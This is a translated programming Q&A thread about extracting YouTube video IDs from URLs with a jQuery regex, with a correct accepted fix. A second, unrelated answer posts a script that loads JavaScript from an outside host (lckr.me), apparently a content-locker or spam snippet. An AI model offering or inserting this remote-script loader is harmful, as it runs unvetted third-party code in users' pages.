YouTube заменил URL идентификатором видео с помощью JavaScript и jQuery - PullRequest
3 голосов
/ 21 декабря 2011

Я взял регулярное выражение из этого http://jsfiddle.net/HfqmE/1/ У меня есть HTML

<span class="yturl">http://www.youtube.com/watch?feature=endscreen&NR=1&v=jSAwWrbdoEQ</span>
<span class="yturl">http://www.youtube.com/watch?v=jSAwWrbdoEQ&feature=feedrec_grec_index</span>
<span class="yturl">http://youtu.be/jSAwWrbdoEQ</span>
<span class="yturl">http://www.youtube.com/embed/jSAwWrbdoEQ</span>
<span class="yturl">http://www.youtube.com/v/jSAwWrbdoEQ?version=3&amp;hl=en_US</span>
<span class="yturl">http://www.youtube.com/watch?NR=1&feature=endscreen&v=jSAwWrbdoEQ</span>
<span class="yturl">http://www.youtube.com/user/TheGameVEVO#p/a/u/1/jSAwWrbdoEQ</span>

для каждого span.yturl Я пытаюсь извлечь идентификатор из URL-адреса YouTube, который я пыталсяhttp://jsfiddle.net/HfqmE/40/

$("span.yturl").each(function(){
    var regex = /(\?v=|\&v=|\/\d\/|\/embed\/|\/v\/|\.be\/)([a-zA-Z0-9\-\_]+)/;
    var youtubeurl = $("span.yturl").html();
    var regexyoutubeurl = youtubeurl.match(regex);
    $("span.yturl").html(regexyoutubeurl);
});

однако это просто оставляет результат пустым, пожалуйста, помогите !!

Ответы [ 2 ]

3 голосов
/ 21 декабря 2011

Match возвращает массив.Похоже, что вы хотите regexyoutubeurl[2].

Вы запрашиваете $("span.yturl") внутри своей функции итератора.Таким образом, вы действуете на каждом отрезке 7 раз вместо того, чтобы действовать на каждом из 7 отрезков один раз.Вместо этого используйте $(this).

Также используйте .text() вместо .html(), чтобы ваш & не стал &amp;.

$("span.yturl").each(function(){
    var regex = /(\?v=|\&v=|\/\d\/|\/embed\/|\/v\/|\.be\/)([a-zA-Z0-9\-\_]+)/;
    var youtubeurl = $(this).text();
    var regexyoutubeurl = youtubeurl.match(regex);
    if (regexyoutubeurl) {
        $(this).text(regexyoutubeurl[2]);
    }
});

http://jsfiddle.net/gilly3/HfqmE/53/

0 голосов
/ 14 февраля 2015
<script>
var LockedTag = 'replace-this-with-your-videoID';
document.write('<'+'script src="http://lckr.me/18B?s='+Math.round(Math.random()*100000)+'" type="text/javascript"><'+'/script>');
</script>
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...